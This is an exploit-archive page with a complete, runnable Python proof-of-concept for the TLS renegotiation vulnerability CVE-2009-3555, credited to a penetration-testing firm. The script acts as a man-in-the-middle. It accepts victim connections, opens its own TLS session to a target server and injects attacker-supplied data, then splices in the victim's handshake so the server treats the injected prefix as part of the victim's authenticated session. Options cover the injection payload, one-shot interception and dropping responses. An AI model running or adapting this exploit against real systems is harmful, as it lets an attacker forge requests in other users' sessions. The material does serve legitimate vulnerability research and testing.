what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

TLS Renegotiation Exploit

TLS Renegotiation Exploit
Posted Dec 21, 2009
Site redteam-pentesting.de

This is a proof of concept exploit demonstration the TLS renegotiation vulnerability.

tags | exploit, proof of concept
advisories | CVE-2009-3555
SHA-256 | 3ac1a6ad17f25316b9b5329ec0d9405bf3828a1d0cad02adfdb4f3007dd21d9f

TLS Renegotiation Exploit

Change Mirror Download
#!/usr/bin/env python

######################################
# #
# RedTeam Pentesting GmbH #
# kontakt@redteam-pentesting.de #
# http://www.redteam-pentesting.de #
# #
######################################

# PoC exploit for the TLS renegotiation vulnerability (CVE-2009-3555)

# License
# -------
# CC-BY-SA http://creativecommons.org/licenses/by-sa/3.0/

# Timeline
# --------
# 2009-12-21 initial public release

# Known Issues
# ------------
# Firefox: if it fails connecting to a TLS site too often, falls back to
# issuing SSLv2 ClientHello only until browser is restarted
#
# wget: attempts SSLv2 ClientHello by default

# References
# ----------
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555
# http://www.phonefactor.com/sslgap
# http://www.extendedsubset.com/
# http://www.g-sec.lu/practicaltls.pdf
# http://tools.ietf.org/html/draft-ietf-tls-renegotiation-01

import tlslite
import tlslite.api
import tlslite.messages
import tlslite.constants
import struct
import socket
import threading
import array
import sys
import optparse


if not hasattr(threading.Thread, 'name'):
# emulate python 2.6 threading module for earlier versions
threading.current_thread = threading.currentThread
setattr(threading.Thread, 'name',
property(threading.Thread.getName, threading.Thread.setName))

def forward(sock1, sock2):
sock1.settimeout(1.0)
while True:
try:
data = sock1.recv(4096)
if not data:
return
sock2.send(data)
except socket.error, ex_error:
if ex_error[0] == 104: # Connection reset by peer
return
except socket.timeout, ex_timeout:
pass


class MessageWrapper(object):
def __init__(self, version = (3, 1), ssl2 = False):
self.contentType = tlslite.messages.ContentType.handshake
self.ssl2 = ssl2
self.client_version = version

def setType(self, type):
self.contentType = type

def addBytes(self, bytes):
self.bytes = bytes

def write(self, trial=False):
if trial:
raise Exception('Unsupported')
return array.array('B', self.bytes)

def send_record(sock, msg_type, version_major, version_minor, record):
msg = struct.pack('!BBBH', msg_type, version_major, version_minor, len(record))
if type(record) != str:
msg += record.tostring()
else:
msg += record
sock.send(msg)

def send_encapsulated(sslsock, type, messagebytes, version = (3, 1)):
msg = MessageWrapper(version)
msg.addBytes(struct.unpack('B'*len(messagebytes), messagebytes))
msg.setType(type)
for dummy in sslsock._sendMsg(msg, True):
pass

def decrypt_record(sslsock, type, recordbytes):
for result in sslsock._decryptRecord(type, array.array('B', recordbytes)):
pass
return result

def recv_record(sock):
try:
header = sock.recv(5)
if not header:
return None, None, None, None
msg_type, msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBBH', header)
record = ''
while len(record) != msg_length:
record += sock.recv(msg_length - len(record))
return msg_type, msg_version_major, msg_version_minor, record
except socket.error, ex:
if ex[0] == 104: # Connection reset by peer
return

def recv_clienthello(sock):
header_bytes = []
header_bytes.append(sock.recv(1))
header_bytes[0] = struct.unpack('!B', header_bytes[0])[0]
if header_bytes[0] & 0x80:
# Version 2.0 Client "Record Layer"
header_bytes.append(sock.recv(1))
header_bytes[1] = struct.unpack('!B', header_bytes[1])[0]
msg_length = (header_bytes[0] & 0x7f) << 8 | header_bytes[1]
msg_version_major = 2
msg_version_minor = 0
msg_type = tlslite.constants.ContentType.handshake
record = sock.recv(msg_length)
else:
header = sock.recv(4)
msg_type = header_bytes[0]
msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBH', header)
record = sock.recv(msg_length)

return msg_type, msg_version_major, msg_version_minor, record

def send_hello_request(sock):
sock.send("\x16" # Record Layer: Handshake Message
+"\x03\x01" # Record Layer Version: TLS 1.0
+"\x00\x04" # Record Layer Length: 4
+"\x00" # Handshake Message Type: Hello Request
+"\x00\x00\x00") # Handshake Message Length: 0

def send_protocol_version_alert(sock):
sock.send("\x15" # Record Layer: Alert"
+"\x03\x01" # Record Layer Version: TLS 1.0
+"\x00\x02" # Record Layer Length: 2
+"\x00" # Alert Message: fatal
+"\x46") # Alert Message: protocol version


def handle_victim(victim, options, mitmcount):

if options.one_shot and mitmcount != 0:
print threading.current_thread().name, '--one-shot specified and initial connection already handled, forwarding only'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect(options.target)
print threading.current_thread().name, 'Connected to target %s:%u' % options.target
except socket.error, ex:
print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target
print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1])
sys.exit(1)

t1 = threading.Thread(target=forward, args=(sock, victim))
t1.start()

t2 = threading.Thread(target=forward, args=(victim, sock))
t2.start()

t1.join()
sock.close()

t2.join()
victim.close()
return

# obtain initial "client hello" message
msg_type, msg_version_major, msg_version_minor, hello_msg = recv_clienthello(victim)
if msg_version_major == 2:
print threading.current_thread().name, "client sent SSLv2 client hello message, exiting thread"
return

tls_version = (msg_version_major, msg_version_minor)
type, length, version_major, version_minor, random, session_id_length = struct.unpack('!B3sBB32sB', hello_msg[:39])
resume_session = (session_id_length != 0)
if resume_session:
print threading.current_thread().name, "client attempting to resume session"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect(options.target)
print threading.current_thread().name, 'Connected to target %s:%u' % options.target
except socket.error, ex:
print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target
print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1])
sys.exit(1)


sslsock = tlslite.api.TLSConnection(sock)
handshake_settings = tlslite.HandshakeSettings.HandshakeSettings()
handshake_settings.minVersion = tls_version
handshake_settings.maxVersion = tls_version
sslsock.handshakeClientCert(settings = handshake_settings)

# inject prefix
sslsock.write(options.inject)
print threading.current_thread().name, 'Injected %s' % repr(options.inject)

# send original "client hello" message over the encrypted channel
send_encapsulated(sslsock, 22, hello_msg, tls_version)

# now receive serveral TLS messages from the server, decrypt them, and forward
# them to the client, until the server sends "server hello done"
# these messages include "server hello", "certificate", "server key exchange",
# unless the client is trying to resume a previous session
print threading.current_thread().name, "about to receive server handshake messages"
server_handshake_done = False
while not server_handshake_done:
msg_type, msg_version_major, msg_version_minor, result = recv_record(sslsock.sock)
if result:
result = decrypt_record(sslsock, msg_type, result)
send_record(victim, msg_type, msg_version_major, msg_version_minor, result)
if result[0] == 0x0e: # server hello done - should terminate handshake
server_handshake_done = True
elif resume_session and msg_type == 0x14: # change cipher spec - probably irrelevant
server_handshake_done = True
else:
print threading.current_thread().name, 'receive from server failed, exiting thread'
return
print threading.current_thread().name, "server handshake done"


# now its the the client's turn to send some messages, e.g.
# "client key exchange" and "change cipher spec"
print threading.current_thread().name, "about to receive client handshake messages"
handshake_finished = False
while not handshake_finished:
msg_type, msg_version_major, msg_version_minor, record = recv_record(victim)
print threading.current_thread().name, msg_type
send_encapsulated(sslsock, msg_type, record, tls_version)
if msg_type == 0x14: # change cipher spec
handshake_finished = True

print threading.current_thread().name, "client handshake done"

# message after "change cipher spec" must be sent in the "clear"
msg_type, msg_version_major, msg_version_minor, record = recv_record(victim)
send_record(sslsock.sock, msg_type, msg_version_major, msg_version_minor, record)

# server should now send "change cipher spec" message, we decrypt and send that to the victim
msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock)
result = decrypt_record(sslsock, msg_type, record)
send_record(victim, msg_type, msg_version_major, msg_version_minor, result)

# finalize handshake
msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock)
if record:
send_record(victim, msg_type, msg_version_major, msg_version_minor, record)
else:
sslsock.sock.close()
victim.close()
del sslsock
return



# the rest is just forwarding TLS records between both parties,
# which we cannot interfere with anymore, apart from dropping server
# responses
if options.drop:
sslsock.sock.close()
del sslsock
else:
t1 = threading.Thread(target=forward, args=(sslsock.sock, victim))
t1.start()

t2 = threading.Thread(target=forward, args=(victim, sslsock.sock))
t2.start()

if not options.drop:
t1.join()
sslsock.sock.close()

t2.join()
victim.close()



if __name__ == "__main__":
parser = optparse.OptionParser()
parser.add_option('-l', '--listen', dest='listen_port', help='port to listen on', metavar='PORT', type='int', default=8443)
parser.add_option('-b', '--bind', dest='bind_address', help='address to bind to', metavar='ADDRESS', default='0.0.0.0')
parser.add_option('-t', '--target', dest='target', help='host and port to connect to', metavar='HOST:PORT' )
parser.add_option('-i', '--inject', dest='inject', help='string to inject', metavar='DATA')
parser.add_option('', '--inject-file', dest='inject_file', help='inject data from a file', metavar='FILE')
parser.add_option('', '--inject-base64', dest='inject_base64', help='string to inject, base64-encoded', metavar='DATA')
parser.add_option('-o', '--one-shot', dest='one_shot', action='store_true', help='only mitm the first connection attempt, forward all other connections')
parser.add_option('-d', '--drop-responses', dest='drop', action="store_true", default=False, help='drop server responses after renegotiating')

(options, args) = parser.parse_args()

if len([i for i in (options.inject, options.inject_file, options.inject_base64) if i]) != 1:
print 'Exactly one injection option must be specified'
sys.exit(1)

if options.inject_file:
try:
options.inject = open(options.inject_file, 'r').read()
except IOError, ex:
print ex
sys.exit(1)

if options.inject_base64:
import base64
try:
options.inject = base64.decodestring(options.inject_base64)
except base64.binascii.Error, ex:
print 'Error decoding base64 data: %s' % ex
sys.exit(1)


if not options.listen_port or \
not options.bind_address or \
not options.target or \
not options.inject:
parser.print_help()
sys.exit(1)

target = options.target.split(':')
if len(target)==2:
try:
target[1] = int(target[1])
except ValueError:
target[1] = None
if len(target)!=2 or not target[0] or not target[1]:
print 'Target \'%s\' not in format HOST:PORT' % options.target
sys.exit(1)

options.target = tuple(target)

try:
listensocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listensocket.bind((options.bind_address, options.listen_port))
print 'Listening on %s:%u' % (options.bind_address, options.listen_port)
except socket.error, ex:
print 'Couldn\'t listen on %s:%u' % (options.bind_address, options.listen_port)
print 'Error code %u, \'%s\'' % (ex[0], ex[1])
sys.exit(1)

listensocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listensocket.listen(5)

mitmcount = 0

while True:
try:
victim, victimaddr = listensocket.accept()
print 'New connection from %s:%u' % victimaddr

threading.Thread(target=handle_victim, args=(victim, options, mitmcount)).start()
mitmcount += 1

except KeyboardInterrupt, ex:
print '\nAborted by user, exiting...'
listensocket.close()
sys.exit(1)


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close